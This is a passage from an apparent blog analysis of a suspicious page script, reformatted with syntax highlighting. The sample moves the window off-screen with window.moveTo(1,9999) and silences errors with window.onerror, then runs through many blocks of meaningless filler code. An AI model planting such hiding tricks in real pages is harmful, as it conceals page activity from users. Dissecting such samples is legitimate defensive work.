font-style: inherit;">&gt;&lt;</span>script<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;+</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">private</span> mync <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span> liisx <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">81</span> umskaki <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;</span> ] <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">5</span> <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">return</span> ( ionwydb<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;/</span>script<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;&lt;</span>script<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span>ujpfvwn <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">76</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span> } ] <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">74</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">*</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;=</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">99</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;=</span> <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> tgzbkq maf } <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">85</span> } <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">public</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">2</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">class</span> ] <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">static</span> ium zhnp <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">15</span> gmbzpad <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">59</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">class</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">!=</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">!=</span> itya <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">while</span> ( <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">static</span> <span class="ss" style="color: #20794D;
background-color: null;
font-style: inherit;">/ { = d&lt;/script</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;&lt;</span>script<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">79</span> ( } klucg odpoyx <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">return</span> mmnwxr <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">42</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;=</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;=</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">33</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">*</span> int <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">90</span> xtr <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">80</span> } <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">20</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">82</span> ) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">class</span> [ <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">1</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">75</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">==</span> dafpocu <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">class</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;=</span> } <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">*</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">static</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">public</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">void</span> <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">for</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;=</span> }<span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">&lt;/</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">script</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">&gt;&lt;</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">script</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">&gt;</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">class</span> ) ( ] <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">while</span> zbak string <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">public</span> mfhgc <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">else</span> cav <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">&lt;/</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">script</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">&gt;&lt;</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">script</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">&gt;</span><span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">static</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">66</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">void</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">49</span> string string pqeghd <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;=</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">5</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span> kprnmc string hzx <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">static</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">84</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">18</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;</span> qnztc <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> } bool <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">66</span></span>
<span id="cb7-2"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">...</span></span></code></pre></div></div>
<p>I put a new line after every <code>&lt;\script&gt;</code> to make it clearer:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb8" style="background: #f1f3f5;"><pre class="sourceCode html code-with-copy"><code class="sourceCode html"><span id="cb8-1"><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">&lt;</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">script</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">&gt;</span><span class="bu" style="color: null;
background-color: null;
font-style: inherit;">window</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">moveTo</span>(<span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">1</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">9999</span>)<span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">&lt;/</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">script</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">&gt;</span></span>
<span id="cb8-2"><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">&lt;</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">script</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">&gt;</span><span class="bu" style="color: null;
background-color: null;
font-style: inherit;">window</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">onerror</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">function</span>(){<span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">return</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">true</span>}<span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">&lt;/</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">script</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">&gt;</span></span>
<span id="cb8-3"><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">&lt;</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">script</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">&gt;</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;=</span> eoqn <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">47</span> int rclg <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">/</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">54</span> ( <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">49</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">static</span> <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> ypyro ) drdv <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">while</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">41</span> nwwgzjr bool kteqkcd ] <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">85</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">*</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;</span> ] dmwlstb hxoxxkt <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">94</span> ewqnzr riqzus nimw emvjyq <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">80</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span> } <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">36</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> [ <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">likkr</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">public</span> ] ] <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">55</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">51</span> ynd <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">46</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;=</span> bool <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">90</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">86</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">==</span> egq [ <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">30</span> [<span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">&lt;/</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">script</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">&gt;</span></span>
<span id="cb8-4"><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">&lt;</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">script</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">&gt;</span>{ <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">38</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">==</span> ) <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">public</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">83</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">/</span> <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> { <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">76</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">31</span> jc<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;/</span>script<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span></span>
<span id="cb8-5"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;</span>script<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;+</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">private</span> mync <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span> liisx <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">81</span> umskaki <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;</span> ] <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">5</span> <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">return</span> ( ionwydb<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;/</span>script<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span></span>
<span id="cb8-6"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;</span>script<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span>ujpfvwn <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">76</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span> } ] <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">74</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">*</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;=</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">99</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;=</span> <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> tgzbkq maf } <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">85</span> } <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">public</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">2</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">class</span> ] <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">static</span> ium zhnp <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">15</span> gmbzpad <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">59</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">class</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">!=</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">!=</span> itya <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">while</span> ( <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">static</span> <span class="ss" style="color: #20794D;
background-color: null;
font-style: inherit;">/ { = d&lt;/script</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span></span>
<span id="cb8-7"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;</span>script<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">79</span> ( } klucg odpoyx <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">return</span> mmnwxr <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">42</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;=</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;=</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">33</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">*</span> int <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">90</span> xtr <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">80</span> } <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">20</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">82</span> ) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">class</span> [ <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">1</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">75</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">==</span> dafpocu <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">class</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;=</span> } <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">*</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">static</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">public</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">void</span> <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">for</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;=</span> }<span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">&lt;/</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">script</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">&gt;</span></span>
<span id="cb8-8"><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">&lt;</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">script</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">&gt;</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">class</span> ) ( ] <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">while</span> zbak string <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">public</span> mfhgc <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">else</span> cav <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">&lt;/</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">script</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">&gt;</span></span>
<span id="cb8-9"><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">&lt;</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">script</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">&gt;</span><span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">static</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">66</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">void</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">49</span> string string pqeghd <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;=</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">5</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span> kprnmc string hzx <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">static</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">84</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">18</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;</span> qnztc <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> } bool <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">66</span> <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">else</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">==</span> zif <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">yfu</span> ( <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;=</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">37</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">private</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">==</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">*</span> zhdep <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">33</span> <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">else</span> <span class="ss" style="color: #20794D;
background-color: null;
font-style: inherit;">/ int static , </span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="ss" style="color: #20794D;
background-color: null;
font-style: inherit;"> frlpeoj </span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">*</span><span class="ss" style="color: #20794D;
background-color: null;
font-style: inherit;"> &gt;&lt;/script</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span></span>
<span id="cb8-10"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;</span>script<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">class</span> uaerbju xkk huvvrtq [ <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">65</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">3</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">void</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">56</span> ( <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> rueb <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;=</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">qecltgc</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">wqqgy</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">*</span> string <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> xqgw <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">void</span> vvewx <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span> <span class="ss" style="color: #20794D;
background-color: null;
font-style: inherit;">/ 54 private 14 &gt; - &lt;= , tndzfny void private = return &lt; ugnc &gt; class &lt; { static 12 67 </span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span><span class="ss" style="color: #20794D;
background-color: null;
font-style: inherit;"> avujc - =&lt;/script</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span></span>
<span id="cb8-11"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;</span>script<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span>bool <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span> } <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">!=</span> vnh spkycte <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">return</span> <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">for</span> } <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">class</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">58</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span> } mbfymbs <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;=</span> ) <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">53</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> int <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">/</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span> int ) [ ] <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">==</span> apr <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">17</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">==</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">==</span> <span class="op" style="color: #5E5E5E;
background-color: null;
